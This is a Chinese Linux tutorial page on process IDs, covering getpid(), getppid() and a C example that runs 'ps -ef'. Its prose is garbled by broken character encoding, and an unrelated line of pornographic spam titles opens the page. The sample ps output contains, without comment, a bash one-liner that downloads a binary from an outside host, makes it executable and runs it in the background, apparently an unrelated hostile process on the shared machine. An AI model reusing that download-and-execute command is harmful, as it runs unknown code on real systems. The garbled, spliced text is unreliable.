在线观看不卡亚洲电影_亚洲妓女99综合网_91青青青亚洲娱乐在线观看_日韩无码高清综合久久

鍍金池/ 教程/ Linux/ 進(jìn)程信息
命名管道
消息隊(duì)列
進(jìn)程創(chuàng)建與終止
信號(hào)量
進(jìn)程組,會(huì)話和作業(yè)控制
共享內(nèi)存
進(jìn)程間通信簡介
子進(jìn)程監(jiān)視
其他進(jìn)程
覆蓋進(jìn)程映像
進(jìn)程信息
進(jìn)程映像
內(nèi)存映射
相關(guān)系統(tǒng)調(diào)用(System V)
進(jìn)程資源
System V & Posix
信號(hào)
進(jìn)程間通信教程
管道

進(jìn)程信息

在學(xué)習(xí)進(jìn)程信息之前,我們需要知道一些東西,比如 -

什么是進(jìn)程? 進(jìn)程是一個(gè)正在執(zhí)行的程序。

什么是程序? 程序是一個(gè)包含進(jìn)程信息的文件,以及在運(yùn)行時(shí)如何構(gòu)建它。 當(dāng)你開始執(zhí)行程序時(shí),它被加載到RAM中并開始執(zhí)行。

每個(gè)進(jìn)程都用唯一的正整數(shù)來標(biāo)識(shí),稱為進(jìn)程標(biāo)識(shí)符,或者簡稱PID(進(jìn)程標(biāo)識(shí)號(hào))。 內(nèi)核通常將進(jìn)程ID限制為32767,這是可配置的。 當(dāng)進(jìn)程ID達(dá)到此限制時(shí),將再次重置,即在系統(tǒng)進(jìn)程范圍之后。 然后將來自該計(jì)數(shù)器的未使用的進(jìn)程ID分配給新創(chuàng)建的進(jìn)程。

系統(tǒng)調(diào)用getpid()返回調(diào)用進(jìn)程的進(jìn)程ID。

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

該調(diào)用返回保證唯一的調(diào)用進(jìn)程的進(jìn)程ID。 這個(gè)調(diào)用總是成功的,因此沒有返回值來表示錯(cuò)誤。
每個(gè)進(jìn)程都有其唯一的ID,稱為進(jìn)程ID,但是是誰創(chuàng)建的呢? 如何獲得有關(guān)其創(chuàng)建者的信息? 創(chuàng)建者進(jìn)程稱為父進(jìn)程。父進(jìn)程ID或PPID可以通過getppid()調(diào)用獲得。

系統(tǒng)調(diào)用getppid()返回調(diào)用進(jìn)程的父進(jìn)程PID。

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

這個(gè)調(diào)用返回調(diào)用進(jìn)程的父進(jìn)程ID。 這個(gè)調(diào)用總是成功的,因此沒有返回值來表示錯(cuò)誤。

讓我們用一個(gè)簡單的例子來理解這一點(diǎn)。

以下是了解調(diào)用進(jìn)程的PID和PPID的程序。參考以下文件:processinfo.c 中的代碼 -

// File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

在編寫并執(zhí)行上述程序時(shí),應(yīng)該得到類似下面的結(jié)果 -

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

注 - C庫函數(shù)system()用于執(zhí)行一個(gè)shell命令。 傳遞給system()的參數(shù)是在shell上執(zhí)行的命令。 在上面的程序中,命令是:ps,它給出了進(jìn)程狀態(tài)。

有關(guān)所有正在運(yùn)行的進(jìn)程和其他系統(tǒng)相關(guān)信息的完整信息,可以從/proc位置的proc文件訪問。